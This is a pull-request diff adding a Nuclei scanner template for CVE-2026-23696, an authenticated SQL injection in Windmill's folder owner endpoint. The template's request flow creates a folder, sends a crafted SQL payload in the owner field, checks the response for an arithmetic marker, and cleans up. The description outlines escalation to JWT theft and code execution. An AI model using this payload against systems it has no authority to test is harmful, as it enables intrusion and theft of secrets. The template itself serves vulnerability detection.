Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
124 changes: 124 additions & 0 deletions http/cves/2026/CVE-2026-23696.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,124 @@
id: CVE-2026-23696

info:
name: Windmill < 1.603.3 - Authenticated SQL Injection via Folder Permissions
author: chocapikk,DhiyaneshDk
severity: critical
description: |
Windmill versions 1.276.0 through 1.603.2 contain an authenticated SQL injection vulnerability in the folder owner management endpoint. The addowner API endpoint passes user-supplied input directly into a SQL query without sanitization, enabling JSONB path injection. An authenticated user with operator-level access can extract sensitive data including JWT secrets, password hashes, API tokens, and database credentials, leading to full privilege escalation and remote code execution.
impact: |
An attacker with any valid Windmill credentials (including operator accounts) can extract the JWT signing secret from the database, forge an admin token, escalate to super admin privileges, and execute arbitrary commands on the server.
remediation: |
Update Windmill to version 1.603.3 or later which sanitizes the owner input before SQL query construction.
reference:
- https://github.com/Chocapikk/Windfall
- https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe
- https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2026-23696
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-23696
cwe-id: CWE-89
metadata:
verified: true
max-request: 5
vendor: windmill-labs
product: windmill
tags: cve,cve2026,windmill,sqli,authenticated

variables:
folder: "{{to_lower(rand_text_alpha(8))}}"

flow: |
http("list-workspaces") && http("create-folder") && http("sqli-inject") && http("read-folder") && http("cleanup")

http:
- id: list-workspaces
raw:
- |
GET /api/workspaces/list HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json

matchers:
- type: status
status:
- 200
internal: true

extractors:
- type: regex
name: workspace
part: body
group: 1
regex:
- '"id"\s*:\s*"([^"]+)"'
internal: true

- id: create-folder
raw:
- |
POST /api/w/{{workspace}}/folders/create HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json

{"name":"{{folder}}"}

matchers:
- type: word
part: body
words:
- "Created folder"
internal: true

- id: sqli-inject
raw:
- |
POST /api/w/{{workspace}}/folders/addowner/{{folder}} HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json

{"owner":"x\"}',(SELECT to_jsonb(11*11*11)),true)--"}

matchers:
- type: status
status:
- 200
internal: true

- id: read-folder
raw:
- |
GET /api/w/{{workspace}}/folders/get/{{folder}} HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json

matchers-condition: and
matchers:
- type: word
part: body
words:
- '"x":1331'

- type: status
status:
- 200

- id: cleanup
raw:
- |
DELETE /api/w/{{workspace}}/folders/delete/{{folder}} HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json

matchers:
- type: status
status:
- 200
internal: true
Loading